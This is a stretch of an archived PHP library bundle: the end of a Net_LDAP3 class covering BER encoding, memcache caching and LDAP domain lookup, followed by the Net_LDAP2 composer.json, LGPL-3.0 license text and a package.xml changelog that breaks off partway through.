    private static function _vlv_ber_encode($offset, $rpp, $search = '')
    {
        // This string is ber-encoded, php will prefix this value with:
        // 04 (octet string) and 10 (length of 16 bytes)
        // the code behind this string is broken down as follows:
        // 30 = ber sequence with a length of 0e (14) bytes following
        // 02 = type integer (in two's complement form) with 2 bytes following (beforeCount): 01 00 (ie 0)
        // 02 = type integer (in two's complement form) with 2 bytes following (afterCount):  01 18 (ie 25-1=24)
        // a0 = type context-specific/constructed with a length of 06 (6) bytes following
        // 02 = type integer with 2 bytes following (offset): 01 01 (ie 1)
        // 02 = type integer with 2 bytes following (contentCount):  01 00

        // whith a search string present:
        // 81 = type context-specific/constructed with a length of 04 (4) bytes following (the length will change here)
        // 81 indicates a user string is present where as a a0 indicates just a offset search
        // 81 = type context-specific/constructed with a length of 06 (6) bytes following

        // the following info was taken from the ISO/IEC 8825-1:2003 x.690 standard re: the
        // encoding of integer values (note: these values are in
        // two-complement form so since offset will never be negative bit 8 of the
        // leftmost octet should never by set to 1):
        // 8.3.2: If the contents octets of an integer value encoding consist
        // of more than one octet, then the bits of the first octet (rightmost) and bit 8
        // of the second (to the left of first octet) octet:
        // a) shall not all be ones; and
        // b) shall not all be zero

        if ($search) {
            $search  = preg_replace('/[^-[:alpha:] ,.()0-9]+/', '', $search);
            $ber_val = self::_string2hex($search);
            $str     = self::_ber_addseq($ber_val, '81');
        }
        else {
            // construct the string from right to left
            $str = "020100"; # contentCount

            // returns encoded integer value in hex format
            $ber_val = self::_ber_encode_int($offset);

            // calculate octet length of $ber_val
            $str = self::_ber_addseq($ber_val, '02') . $str;

            // now compute length over $str
            $str = self::_ber_addseq($str, 'a0');
        }

        // now tack on records per page
        $str = "020100" . self::_ber_addseq(self::_ber_encode_int($rpp-1), '02') . $str;

        // now tack on sequence identifier and length
        $str = self::_ber_addseq($str, '30');

        return pack('H'.strlen($str), $str);
    }

    /**
     * Add BER sequence with correct length and the given identifier
     */
    private static function _ber_addseq($str, $identifier)
    {
        $len = dechex(strlen($str)/2);
        if (strlen($len) % 2 != 0) {
            $len = '0'.$len;
        }

        return $identifier . $len . $str;
    }

    /**
     * Returns BER encoded integer value in hex format
     */
    private static function _ber_encode_int($offset)
    {
        $val    = dechex($offset);
        $prefix = '';

        // check if bit 8 of high byte is 1
        if (preg_match('/^[89abcdef]/', $val)) {
            $prefix = '00';
        }

        if (strlen($val)%2 != 0) {
            $prefix .= '0';
        }

        return $prefix . $val;
    }

    /**
     * Returns ascii string encoded in hex
     */
    private static function _string2hex($str)
    {
        return implode(unpack("H*", $str));
    }

    /**
     * Convert LDAP host/port into URI
     */
    private static function _host2uri($host, $port = null)
    {
        if (stripos($host, 'ldapi://') === 0) {
            return $host;
        }

        if (strpos($host, '://') === false) {
            $host = ($port == 636 ? 'ldaps' : 'ldap') . '://' . $host;
        }

        if ($port && !preg_match('/:[0-9]+$/', $host)) {
            $host .= ':' . $port;
        }

        return $host;
    }

    /**
     * Get global handle for cache access
     *
     * @return object Cache object
     */
    public function get_cache()
    {
        if ($this->cache === true) {
            // no memcache support in PHP
            if (!class_exists('Memcache')) {
                $this->cache = false;
                return false;
            }

            // add all configured hosts to pool
            $pconnect = $this->config_get('memcache_pconnect');
            $hosts    = $this->config_get('memcache_hosts');

            if ($hosts) {
                $this->cache        = new Memcache;
                $this->mc_available = 0;

                $hosts = explode(',', $hosts);
                foreach ($hosts as $host) {
                    $host = trim($host);
                    if (substr($host, 0, 7) != 'unix://') {
                        list($host, $port) = explode(':', $host);
                        if (!$port) $port = 11211;
                    }
                    else {
                        $port = 0;
                    }

                    $this->mc_available += intval($this->cache->addServer(
                        $host, $port, $pconnect, 1, 1, 15, false, [$this, 'memcache_failure']));
                }

                // test connection and failover (will result in $this->mc_available == 0 on complete failure)
                $this->cache->increment('__CONNECTIONTEST__', 1);  // NOP if key doesn't exist
            }

            if (!$this->mc_available) {
                $this->cache = false;
            }
        }

        return $this->cache;
    }

    /**
     * Callback for memcache failure
     */
    public function memcache_failure($host, $port)
    {
        static $seen = [];

        // only report once
        if (!$seen["$host:$port"]++) {
            $this->mc_available--;
            $this->_error("LDAP: Memcache failure on host $host:$port");
        }
    }

    /**
     * Get cached data
     *
     * @param string $key Cache key
     *
     * @return mixed Cached value
     */
    public function get_cache_data($key)
    {
        if ($cache = $this->get_cache()) {
            return $cache->get($key);
        }
    }

    /**
     * Store cached data
     *
     * @param string $key  Cache key
     * @param mixed  $data Data
     * @param int    $ttl  Cache TTL in seconds
     *
     * @return bool False on failure or when cache is disabled, True if data was saved succesfully
     */
    public function set_cache_data($key, $data, $ttl = 3600)
    {
        if ($cache = $this->get_cache()) {
            $flags = defined('MEMCACHE_COMPRESSED') ? MEMCACHE_COMPRESSED : 0;
            if (!method_exists($cache, 'replace') || !$cache->replace($key, $data, $flags, $ttl)) {
                return $cache->set($key, $data, $flags, $ttl);
            }
            else {
                return true;
            }
        }

        return false;
    }

    /**
     * Translate a domain name into it's corresponding root dn.
     *
     * @param string $domain Domain name
     *
     * @return string|bool Domain root DN or False on error
     */
    public function domain_root_dn($domain)
    {
        if (empty($domain)) {
            return false;
        }

        $ckey = 'domain.root::' . $domain;
        if (array_key_exists($ckey, $this->icache)) {
            return $this->icache[$ckey];
        }

        $this->_debug("Net_LDAP3::domain_root_dn($domain)");

        if ($entry_attrs = $this->find_domain($domain)) {
            $name_attribute = $this->config_get('domain_name_attribute');

            if (empty($name_attribute)) {
                $name_attribute = 'associateddomain';
            }

            if (is_array($entry_attrs)) {
                if (!empty($entry_attrs['inetdomainbasedn'])) {
                    $domain_root_dn = $entry_attrs['inetdomainbasedn'];
                }
                else {
                    if (is_array($entry_attrs[$name_attribute])) {
                        $domain_root_dn = $this->_standard_root_dn($entry_attrs[$name_attribute][0]);
                    }
                    else {
                        $domain_root_dn = $this->_standard_root_dn($entry_attrs[$name_attribute]);
                    }
                }
            }
        }

        if (empty($domain_root_dn)) {
            $domain_root_dn = $this->_standard_root_dn($domain);
        }

        $this->_debug("Net_LDAP3::domain_root_dn() result: $domain_root_dn");

        return $this->icache[$ckey] = $domain_root_dn;
    }

    /**
     * Find domain by name
     *
     * @param string $domain     Domain name
     * @param array  $attributes Result attributes
     *
     * @return array|bool Domain attributes (plus 'dn' attribute) or False if not found
     */
    public function find_domain($domain, $attributes = ['*'])
    {
        if (empty($domain)) {
            return false;
        }

        $ckey  = 'domain::' . $domain;
        $ickey = $ckey . '::' . md5(implode(',', $attributes));

        if (array_key_exists($ickey, $this->icache)) {
            return $this->icache[$ickey];
        }

        $this->_debug("Net_LDAP3::find_domain($domain)");

        // use cache
        $domain_dn = $this->get_cache_data($ckey);

        if ($domain_dn) {
            $result = $this->get_entry_attributes($domain_dn, $attributes);

            if (!empty($result)) {
                $result['dn'] = $domain_dn;
            }
            else {
                $result = false;
            }
        }
        else if ($domain_base_dn = $this->config_get('domain_base_dn')) {
            $domain_filter  = $this->config_get('domain_filter');

            if (strpos($domain_filter, '%s') !== false) {
                $domain_filter = str_replace('%s', self::quote_string($domain), $domain_filter);
            }
            else {
                $name_attribute = $this->config_get('domain_name_attribute');
                if (empty($name_attribute)) {
                    $name_attribute = 'associateddomain';
                }

                $domain_filter = "(&" . $domain_filter . "(" . $name_attribute . "=" . self::quote_string($domain) . "))";
            }

            if ($result = $this->search($domain_base_dn, $domain_filter, 'sub', $attributes)) {
                $result       = $result->entries(true);
                $domain_dn    = key($result);

                if (empty($domain_dn)) {
                    $result = false;
                }
                else {
                    $result       = $result[$domain_dn];
                    $result['dn'] = $domain_dn;

                    // cache domain DN
                    $this->set_cache_data($ckey, $domain_dn);
                }
            }
        }

        $this->_debug("Net_LDAP3::find_domain() result: " . var_export($result, true));

        return $this->icache[$ickey] = $result;
    }

    /**
     * From a domain name, such as 'kanarip.com', create a standard root
     * dn, such as 'dc=kanarip,dc=com'.
     *
     * As the parameter $associatedDomains, either pass it an array (such
     * as may have been returned by ldap_get_entries() or perhaps
     * ldap_list()), where the function will assume the first value
     * ($array[0]) to be the uber-level domain name, or pass it a string
     * such as 'kanarip.nl'.
     *
     * @return string
     */
    protected function _standard_root_dn($associatedDomains)
    {
        if (is_array($associatedDomains)) {
            // Usually, the associatedDomain in position 0 is the naming attribute associatedDomain
            if ($associatedDomains['count'] > 1) {
                // Issue a debug message here
                $relevant_associatedDomain = $associatedDomains[0];
            }
            else {
                $relevant_associatedDomain = $associatedDomains[0];
            }
        }
        else {
            $relevant_associatedDomain = $associatedDomains;
        }

        return 'dc=' . implode(',dc=', explode('.', $relevant_associatedDomain));
    }
}
PK
h�\{�_���#vendor/pear/net_ldap2/composer.jsonnu�[���{
    "name": "pear/net_ldap2",
    "description": "Object oriented interface for searching and manipulating LDAP-entries",
    "license": "LGPL-3.0",
    "type": "library",
    "keywords": [
        "pear",
        "ldap"
    ],
    "homepage": "http://pear.php.net/package/Net_LDAP2",
    "support": {
        "issues": "http://pear.php.net/bugs/search.php?cmd=display&package_name[]=Net_LDAP2",
        "source": "https://github.com/pear/Net_LDAP2"
    },
    "require": {
        "pear/pear-core-minimal": "^1.10.1",
        "ext-ldap": "*"
    },
    "include-path": ["."],
    "autoload": {
        "classmap": [
            "Net/"
        ]
    },
    "require-dev": {
        "phpunit/phpunit": "^9 || ^10.3"
    }
}
PK
h�\�����vendor/pear/net_ldap2/LICENSEnu�[���                 GNU LESSER GENERAL PUBLIC LICENSE
                       Version 3, 29 June 2007

 Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.


  This version of the GNU Lesser General Public License incorporates
the terms and conditions of version 3 of the GNU General Public
License, supplemented by the additional permissions listed below.

  0. Additional Definitions.

  As used herein, "this License" refers to version 3 of the GNU Lesser
General Public License, and the "GNU GPL" refers to version 3 of the GNU
General Public License.

  "The Library" refers to a covered work governed by this License,
other than an Application or a Combined Work as defined below.

  An "Application" is any work that makes use of an interface provided
by the Library, but which is not otherwise based on the Library.
Defining a subclass of a class defined by the Library is deemed a mode
of using an interface provided by the Library.

  A "Combined Work" is a work produced by combining or linking an
Application with the Library.  The particular version of the Library
with which the Combined Work was made is also called the "Linked
Version".

  The "Minimal Corresponding Source" for a Combined Work means the
Corresponding Source for the Combined Work, excluding any source code
for portions of the Combined Work that, considered in isolation, are
based on the Application, and not on the Linked Version.

  The "Corresponding Application Code" for a Combined Work means the
object code and/or source code for the Application, including any data
and utility programs needed for reproducing the Combined Work from the
Application, but excluding the System Libraries of the Combined Work.

  1. Exception to Section 3 of the GNU GPL.

  You may convey a covered work under sections 3 and 4 of this License
without being bound by section 3 of the GNU GPL.

  2. Conveying Modified Versions.

  If you modify a copy of the Library, and, in your modifications, a
facility refers to a function or data to be supplied by an Application
that uses the facility (other than as an argument passed when the
facility is invoked), then you may convey a copy of the modified
version:

   a) under this License, provided that you make a good faith effort to
   ensure that, in the event an Application does not supply the
   function or data, the facility still operates, and performs
   whatever part of its purpose remains meaningful, or

   b) under the GNU GPL, with none of the additional permissions of
   this License applicable to that copy.

  3. Object Code Incorporating Material from Library Header Files.

  The object code form of an Application may incorporate material from
a header file that is part of the Library.  You may convey such object
code under terms of your choice, provided that, if the incorporated
material is not limited to numerical parameters, data structure
layouts and accessors, or small macros, inline functions and templates
(ten or fewer lines in length), you do both of the following:

   a) Give prominent notice with each copy of the object code that the
   Library is used in it and that the Library and its use are
   covered by this License.

   b) Accompany the object code with a copy of the GNU GPL and this license
   document.

  4. Combined Works.

  You may convey a Combined Work under terms of your choice that,
taken together, effectively do not restrict modification of the
portions of the Library contained in the Combined Work and reverse
engineering for debugging such modifications, if you also do each of
the following:

   a) Give prominent notice with each copy of the Combined Work that
   the Library is used in it and that the Library and its use are
   covered by this License.

   b) Accompany the Combined Work with a copy of the GNU GPL and this license
   document.

   c) For a Combined Work that displays copyright notices during
   execution, include the copyright notice for the Library among
   these notices, as well as a reference directing the user to the
   copies of the GNU GPL and this license document.

   d) Do one of the following:

       0) Convey the Minimal Corresponding Source under the terms of this
       License, and the Corresponding Application Code in a form
       suitable for, and under terms that permit, the user to
       recombine or relink the Application with a modified version of
       the Linked Version to produce a modified Combined Work, in the
       manner specified by section 6 of the GNU GPL for conveying
       Corresponding Source.

       1) Use a suitable shared library mechanism for linking with the
       Library.  A suitable mechanism is one that (a) uses at run time
       a copy of the Library already present on the user's computer
       system, and (b) will operate properly with a modified version
       of the Library that is interface-compatible with the Linked
       Version.

   e) Provide Installation Information, but only if you would otherwise
   be required to provide such information under section 6 of the
   GNU GPL, and only to the extent that such information is
   necessary to install and execute a modified version of the
   Combined Work produced by recombining or relinking the
   Application with a modified version of the Linked Version. (If
   you use option 4d0, the Installation Information must accompany
   the Minimal Corresponding Source and Corresponding Application
   Code. If you use option 4d1, you must provide the Installation
   Information in the manner specified by section 6 of the GNU GPL
   for conveying Corresponding Source.)

  5. Combined Libraries.

  You may place library facilities that are a work based on the
Library side by side in a single library together with other library
facilities that are not Applications and are not covered by this
License, and convey such a combined library under terms of your
choice, if you do both of the following:

   a) Accompany the combined library with a copy of the same work based
   on the Library, uncombined with any other library facilities,
   conveyed under the terms of this License.

   b) Give prominent notice with the combined library that part of it
   is a work based on the Library, and explaining where to find the
   accompanying uncombined form of the same work.

  6. Revised Versions of the GNU Lesser General Public License.

  The Free Software Foundation may publish revised and/or new versions
of the GNU Lesser General Public License from time to time. Such new
versions will be similar in spirit to the present version, but may
differ in detail to address new problems or concerns.

  Each version is given a distinguishing version number. If the
Library as you received it specifies that a certain numbered version
of the GNU Lesser General Public License "or any later version"
applies to it, you have the option of following the terms and
conditions either of that published version or of any later version
published by the Free Software Foundation. If the Library as you
received it does not specify a version number of the GNU Lesser
General Public License, you may choose any version of the GNU Lesser
General Public License ever published by the Free Software Foundation.

  If the Library as you received it specifies that a proxy can decide
whether future versions of the GNU Lesser General Public License shall
apply, that proxy's public statement of acceptance of any version is
permanent authorization for you to choose that version for the
Library.PK
h�\������!vendor/pear/net_ldap2/package.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<package packagerversion="1.4.11" version="2.0" xmlns="http://pear.php.net/dtd/package-2.0" xmlns:tasks="http://pear.php.net/dtd/tasks-1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://pear.php.net/dtd/tasks-1.0
http://pear.php.net/dtd/tasks-1.0.xsd
http://pear.php.net/dtd/package-2.0
http://pear.php.net/dtd/package-2.0.xsd">
    <name>Net_LDAP2</name>
    <channel>pear.php.net</channel>
    <extends>Net_LDAP</extends>
    <summary>Object oriented interface for searching and manipulating LDAP-entries</summary>
    <description>Net_LDAP2 is the successor of Net_LDAP which is a clone of Perls Net::LDAP
                object interface to directory servers. It does contain most of Net::LDAPs
                features but has some own too.
                 With Net_LDAP2 you have:
                 * A simple object-oriented interface to connections, searches entries and filters.
                 * Support for TLS and LDAP v3.
                 * Simple modification, deletion and creation of LDAP entries.
                 * Support for schema handling.

                 Net_LDAP2 layers itself on top of PHP's existing ldap extensions.
    </description>
    <lead>
        <name>Benedikt Hallinger</name>
        <user>beni</user>
        <email>beni@php.net</email>
        <active>yes</active>
    </lead>

    <!-- Information for this release -->
    <date>2023-10-12</date>
    <version>
        <release>2.3.0</release>
        <api>2.2.0</api>
    </version>
    <stability>
        <release>stable</release>
        <api>stable</api>
    </stability>
    <license>LGPLv3 License</license>
    <notes>
     * Support PHP 8.1
     * Fix unit tests on PHP 8.0.29
     * Make tests compatible with PHPUnit 9
    </notes>
    <contents>
        <dir name="/">
       <dir name="Net">
            <file name="LDAP2.php" role="php" />
            <dir name="LDAP2">
                <file name="Entry.php" role="php" />
                <file name="Filter.php" role="php" />
                <file name="RootDSE.php" role="php" />
                <file name="Schema.php" role="php" />
                <file name="Search.php" role="php" />
                <file name="Util.php" role="php" />
                <file name="LDIF.php" role="php" />
                <file name="SchemaCache.interface.php" role="php" />
                <file name="SimpleFileSchemaCache.php" role="php" />
            </dir> <!-- /LDAP2 -->
          </dir> <!-- /Net -->
          <dir name="doc">
                <file name="manual.html" role="doc" />
                <file name="README.txt" role="doc" />
                <file name="RootDSE.txt" role="doc" />
                <file name="Schema.txt" role="doc" />
                <file name="utf8.txt" role="doc" />
                <file name="examples/connecting.php" role="doc" />
                <file name="examples/fetch_entry.php" role="doc" />
                <file name="examples/search_entries.php" role="doc" />
                <file name="examples/add_entry.php" role="doc" />
                <file name="examples/modify_entry.php" role="doc" />
                <file name="examples/modify_entry2.php" role="doc" />
                <file name="examples/schema_cache.php" role="doc" />
          </dir> <!-- /doc -->
          <dir name="tests">
                <file name="phpunit.xml" role="test" />
                <file name="Net_LDAP2_TestBase.php" role="test" />
                <file name="Net_LDAP2_EntryTest.php" role="test" />
                <file name="Net_LDAP2_FilterTest.php" role="test" />
                <file name="Net_LDAP2_RootDSETest.php" role="test" />
                <file name="Net_LDAP2_SearchTest.php" role="test" />
                <file name="Net_LDAP2Test.php" role="test" />
                <file name="Net_LDAP2_UtilTest.php" role="test" />
                <file name="Net_LDAP2_LDIFTest.php" role="test" />
                <file name="ldapconfig.ini.dist" role="test" />
                <file name="ldapldifconfig.ini.dist" role="test" />
                <file name="ldif_data/base.ldif" role="test" />
                <file name="ldif_data/malformed_syntax.ldif" role="test" />
                <file name="ldif_data/malformed_syntax.ldif" role="test" />
                <file name="ldif_data/malformed_wrapping.ldif" role="test" />
                <file name="ldif_data/slapd.conf" role="test" />
                <file name="ldif_data/sorted_w40.ldif" role="test" />
                <file name="ldif_data/sorted_w50.ldif" role="test" />
                <file name="ldif_data/unsorted_w30.ldif" role="test" />
                <file name="ldif_data/unsorted_w50.ldif" role="test" />
                <file name="ldif_data/unsorted_w50_WIN.ldif" role="test" />
                <file name="ldif_data/changes.ldif" role="test" />
          </dir> <!-- /tests -->
        </dir> <!-- / -->
    </contents>
    <dependencies>
        <required>
            <php>
                <min>7.4</min>
            </php>
            <pearinstaller>
                <min>1.10.1</min>
            </pearinstaller>
            <extension>
                <name>ldap</name>
            </extension>
        </required>
    </dependencies>
    <phprelease />

    <!-- CHANGELOG -->
    <changelog>
        <release>
            <version>
                <release>0.1</release>
                <api>0.1</api>
            </version>
            <stability>
                <release>beta</release>
                <api>beta</api>
            </stability>
            <date>2003-06-23</date>
            <license>LGPL License</license>
            <notes>Initial release
            </notes>
        </release>
        <release>
            <version>
                <release>0.2</release>
                <api>0.2</api>
            </version>
            <stability>
                <release>beta</release>
                <api>beta</api>
            </stability>
            <date>2003-08-23</date>
            <license>LGPL License</license>
            <notes>Fixed a lot of bugs that jumped in during the pearification process
            </notes>
        </release>
        <release>
            <version>
                <release>0.3</release>
                <api>0.3</api>
            </version>
            <stability>
                <release>beta</release>
                <api>beta</api>
            </stability>
            <date>2003-09-21</date>
            <license>LGPL License</license>
            <notes>More bug squashing! Much better errorhandling in the -&gt;search() function.
                   Also, all errors that create a Pear_error now includes the errornumber if
                   appropriate (i.e. it was an ldap generated error).
            </notes>
        </release>
        <release>
            <version>
                <release>0.4</release>
                <api>0.4</api>
            </version>
            <stability>
                <release>beta</release>
                <api>beta</api>
            </stability>
            <date>2003-10-01</date>
            <license>LGPL License</license>
            <notes>Many more bugfixes. Jan Wagner fixed the shift_entry function.
                   Also a new Net_LDAP_Entry::modify function has been added that goes far making a simple way to modify entries.
            </notes>
        </release>
        <release>
            <version>
                <release>0.5</release>
                <api>0.5</api>
            </version>
            <stability>
                <release>beta</release>
                <api>beta</api>
            </stability>
            <date>2003-10-11</date>
            <license>LGPL License</license>
            <notes>Jan Wagner Contributed a new RootDSE object and a Schema object and some fixes to the Net_LDAP::search() method
                   The new Net_ldap_entry::modify() method seems to work very nice now.
            </notes>
        </release>
        <release>
            <version>
                <release>0.6</release>
                <api>0.6</api>
            </version>
            <stability>
                <release>beta</release>
                <api>beta</api>
            </stability>
            <date>2003-10-17</date>
            <license>LGPL License</license>
            <notes>New Net_LDAP::ArrayUTF8Decode and Net_LDAP::ArrayUTF8Encode functions. These are used by the Net_LDAP::Entry objects to ensure that things work ok.
            </notes>
        </release>
        <release>
            <version>
                <release>0.6.3</release>
                <api>0.6.3</api>
            </version>
            <stability>
                <release>beta</release>
                <api>beta</api>
            </stability>
            <date>2003-11-12</date>
            <license>LGPL License</license>
            <notes>It seems that 0.6.2 was out too fast. So this is mainly a bugfix release:
                   - Removed remaining Net_LDAP::UTF8Encode and Net_LDAP::UTF8Decode calls in Net_LDAP_Entry,
                     which stopped attributes() and get_entry() from working
                   - The UTF8 functions somehow got outside the Net_LDAP class ... FIXED.
                   - The usuage example of the last release was wrong. We decided to move UTF8 handling into Net_LDAP.
                     Handling should be done this way:

                         $attr = $ldap-&gt;utf8Encode($attr);
                         $entry-&gt;modify($attr);
                         $attr = $ldap-&gt;utf8Decode( $entry-&gt;attributes() );
                   - This means Net_LDAP_Util is useless right now, but will be extended in the future.
                   - Jan did a complete overhaul of the phpdoc stuff. Everything seems to be fine now with phpDocumentor.
            </notes>
        </release>
        <release>
            <date>2007-02-05</date>
            <version>
                <release>0.7.0</release>
                <api>0.7.0</api>
            </version>
            <stability>
                <release>beta</release>
                <api>beta</api>
            </stability>
            <license>LGPL License</license>
            <notes>This long awaited release of Net_LDAP features more stability and new functionality.
                   The main changes are:
                   - Rewrite of much of the code (including some api changes!)
                   - LOTS of fixed bugs!
                   - New class for easy filter handling (Net_LDAP_Filter)
                   - Sorting support for searchresults (including multivalued sorting!)
                   - Searched Entries can now be fetched as_struct() (array)!
                   - Some memory optimizations

                   Please note also that Net_LDAPs configuration changed slightly. Please see $_config in LDAP.php for the new parameters.
            </notes>
        </release>
        <release>
            <date>2007-02-23</date>
            <version>
                <release>0.7.1</release>
                <api>0.7.0</api>
            </version>
            <stability>
                <release>beta</release>
                <api>beta</api>
            </stability>
            <license>LGPL License</license>
            <notes>This is not just a bugfix release of 0.7.0 but also introduces some internal optimisations:
                   - Fixed a connection bug whith LDAP V3 only servers
                   - clearer sanitizing of the host config parameter
            </notes>
        </release>
        <release>
            <date>2007-05-07</date>
            <version>
                <release>0.7.2</release>
                <api>0.7.2</api>
            </version>
            <stability>
                <release>beta</release>
                <api>beta</api>
            </stability>
            <license>LGPL License</license>
            <notes>This release features some internal code movements to be more compatible to PERL::Net_LDAP.
               The movements include:
                  * Removed UTF8 en-/decoding stuff from Net_LDAP_Utils class since this was moved to Net_LDAP class in 0.6.6
                  * Moved Filter encoding from Net_LDAP_Filter to Net_LDAP_Util
                  * Moved ldap_explode_dn_escaped() from Net_LDAP_Entry to Net_LDAP_Util
                  * Added perls functions from Net_LDAP::Util to our Util class, but they still need some work
               Please note that ldap_explode_dn_escaped() is not available from Net_LDAP_Entry anymore.

               Additionally some new functionality has been introduced:
                  * You can now apply regular expressions directly to a entrys attributes
                    and don't need to fetch the attribute values manually.
                  * Net_LDAP_Schema can check if a attributes syntax is binary

               The following bugs have been resolved:
                  * Connections to LDAP servers that forbid anonymous binds are possible again
                  * The JPEG attribute is now properly returned as binary value instead of string
                  * If the array describing selected attributes in searches didn't contain consecutive keys, there was a problem sometimes
                  * Some PHP5 return issues
            </notes>
        </release>
        <release>
            <date>2007-06-12</date>
            <version>
               <release>0.7.3</release>
               <api>0.7.2</api>
            </version>
            <stability>
                <release>beta</release>
                <api>beta</api>
            </stability>
            <license>LGPL License</license>
            <notes>This release introduces some example files showing you in detail how to work with Net_LDAP.
                   Additionally, a bug at recursive deletion of an entry is fixed and the Net_LDAP_Filter
                   class is slightly optimized.
             </notes>
        </release>
        <release>
                <date>2007-06-20</date>
                <version>
                    <release>1.0.0RC1</release>
                    <api>1.0.0RC1</api>
                </version>
                <stability>
                    <release>beta</release>
                    <api>beta</api>
                </stability>
                <license>LGPL License</license>
                <notes>Again some small Bugfixes, most notably a bug within $ldap->modify() that occured when using the
                    combined 'changes' array.
                    Besides that, $search->popEntry() and the corresponding alias pop_entry() has been implemented.
                    Net_LDAP_Util::unescape_filter_value() is available too now and Net_LDAP_Util::escape_filter_value()
                    can handle ASCII chars smaller than 32. Above that, Net_LDAP_Util::canonical_dn() has been fully implemented.
                    A new method createFresh() was added to Net_LDAP_Entry, so creation of initial entries is more
                    standardized and clearer.
                    A new example is available, describing the $ldap->modify() method.
                    The add_entry.php example was updated, it shows the use of Net_LDAP_Entry::createFresh().
                    $ldap->add() links unlinked entries now to the connection used for the add.
                    Some new additional utility functions are available in Net_LDAP_Util to assist you in handling attributes and dns.
                    The LDAP-Rename command now uses this functions to deal with DN escaping issues.
                    Please note that ldap_explode_dn_escaped() is not available from Net_LDAP_Util anymore; it got superseeded by Net_LDAP_Util::ldap_explode_dn().
                </notes>
        </release>
        <release>
            <date>2007-06-28</date>
            <version>
                <release>1.0.0RC2</release>
                <api>1.0.0RC2</api>
            </version>
            <stability>
                <release>beta</release>
                <api>beta</api>
            </stability>
            <license>LGPL License</license>
            <notes>Net_LDAP->dnExists() uses the Util class now, which makes it safer.
                A new move() method is available from Net_LDAP.
                Please note, that the copy() method was removed from the Net_LDAP_Entry class since
                people would expect attribute moving because of the overall API of Net_LDAP.
                Instead use the more failsafer copy() from Net_LDAP.
            </notes>
        </release>
        <release>
            <date>2007-07-24</date>
            <version>
                <release>1.0.0RC3</release>
                <api>1.0.0RC3</api>
            </version>
            <stability>
                <release>beta</release>
                <api>beta</api>
            </stability>
            <license>LGPL License</license>
            <notes>
                Fixed a bug with dnExists() that was caused mainly by bad behavior of Net_LDAP_UTIL::ldap_explode_dn().
                Fixed a bug with call time pass-by-reference if calling $entry->update(); however this inflicted a API change:
                The parameter $ldap is not available anymore, you need to use $entry->setLDAP() prior update now if you want to change the LDAP
                object. This brought us a more logical API now, since Entry operations should be performed by the Net_LDAP object.
            </notes>
        </release>
        <release>
            <date>2007-09-18</date>
            <version>
                <release>1.0.0RC4</release>
                <api>1.0.0RC4</api>
            </version>
            <stability>
                <release>beta</release>
                <api>beta</api>
            </stability>
            <license>LGPL License</license>
            <notes>
                - Fixed some minor bugs of RC3
                - Reintroduced $ldap parameter for
                $entry-&lt;update(), but it is not prefferred to use this way.
                    The Parameter is there for perl interface compatibility
            </notes>
        </release>
        <release>
            <date>2007-10-29</date>
            <version>
                <release>1.0.0</release>
                <api>1.0.0</api>
            </version>
            <stability>
                <release>stable</release>
                <api>stable</api>
            </stability>
            <license>LGPL License</license>
            <notes>
                After more than four years of development, we are very proud to announce the
                        ~ FIRST STABLE Net_LDAP RELEASE 1.0.0 ~
                Net_LDAP ist tested now and should be stable enough for production use.
                The API is finished so far, no changes should be neccessary in the future.

                Changes to Release candidate 4:
                    - Implemented PHPUnit tests
                    - Fixed some minor bugs of RC4 (including the schema loading warning-generation)
                    - Fixed several bugs in Net_LDAP_Util
                    - Improved Net_LDAP_Filter and Net_LDAP_Util error handling and code cleanness
                    - Completely implemented Net_LDAP_Filter perl interface
                    - Improved several doc comments and fixed some spelling errors
            </notes>
        </release>
        <release>
            <date>2008-01-14</date>
            <version>
                <release>1.1.0a1</release>
                <api>1.1.0a1</api>
            </version>
            <stability>
                <release>beta</release>
                <api>beta</api>
            </stability>
            <license>LGPL License</license>
            <notes>
                * Added LDIF reading and writing support
                * Fixed minor issues of 1.0.0 release
            </notes>
        </release>
        <release>
            <date>2008-01-21</date>
            <version>
                <release>1.1.0a2</release>
                <api>1.1.0a2</api>
            </version>
            <stability>
                <release>beta</release>
                <api>beta</api>
            </stability>
            <license>LGPL License</license>
            <notes>
                * Added parseLines() to Net_LDAP_LDIF for more convinience
                * Added some handy methods to Net_LDAP_Entry
                * Enhanced tests
            </notes>
        </release>
        <release>
            <date>2008-02-27</date>
            <version>
                <release>1.1.0</release>
                <api>1.1.0</api>
            </version>
            <stability>
                <release>stable</release>
                <api>stable</api>
            </stability>
            <license>LGPL License</license>
            <notes>* Fixed a little bug at cross directory move
            * Fixed a bug when deleting a subtree containing several subentries that failed if
            one called dnExists() prior calling delete()
            * Fixed some minor bugs at NeT_LDAP->move() and Net_LDAP->dnExists()
            * Added Net_LDAP tests
            * Changed API of Net_LDAP->copy() to only accept Net_LDAP_Entry objects, because with DNs
            Attribute values will be lost
            /!\ This is the last release of Net_LDAP supporting PHP4 /!\
            </notes>
        </release>
        <release>
            <date>2008-03-19</date>
            <version>
                <release>2.0.0RC1</release>
                <api>2.0.0RC1</api>
            </version>
            <stability>
                <release>beta</release>
                <api>beta</api>
            </stability>
            <license>LGPL License</license>
            <notes>/!\ This release is PHP5 only, replacing the Net_LDAP package.
                    If you still need PHP4 support, use Net_LDAP instead.
                * Implemented iterable search results so one can use foreach() with Net_LDAP2_Search objects
                * Fixed a problem with Net_LDAP2_LDIF and files with DOS line endings
   </notes>
  </release>
  <release>
   <date>2008-03-20</date>
   <version>
    <release>2.0.0RC2</release>
    <api>2.0.0RC2</api>
   </version>
   <stability>
    <release>beta</release>
    <api>beta</api>
   </stability>
   <license>LGPL License</license>
   <notes>
* Implemented PHP5 language stuff (thanks to Torsten Roehr for his helpful patches)
* Changed Net_LDAP2-&gt;_markAsNew() to public access, since this is required by the api
and may be useful to developers too
* Changed API to create schema object, there is now a factory. Net_LDAP2-&gt;schema() calls
that factory now instead of fetching the Schema itself
* Changed API to create rootDSE object, there is now a factory. Net_LDAP2-&gt;rootDSE() calls
that factory now instead of fetching the rootDSE itself
* Net_LDAP2_Entry has a new factory constructor: createConnected() can be used to
establish a new Net_LDAP2_Entry object that represents an already existing entry inside
some directory
   </notes>
  </release>
  <release>
   <date>2008-06-04</date>
   <version>
    <release>2.0.0RC3</release>
    <api>2.0.0RC3</api>
   </version>
   <stability>
    <release>beta</release>
    <api>beta</api>
   </stability>
   <license>LGPL License</license>
   <notes>
* New constructor factory for Entry objects: createExisting()
* Several small improvements
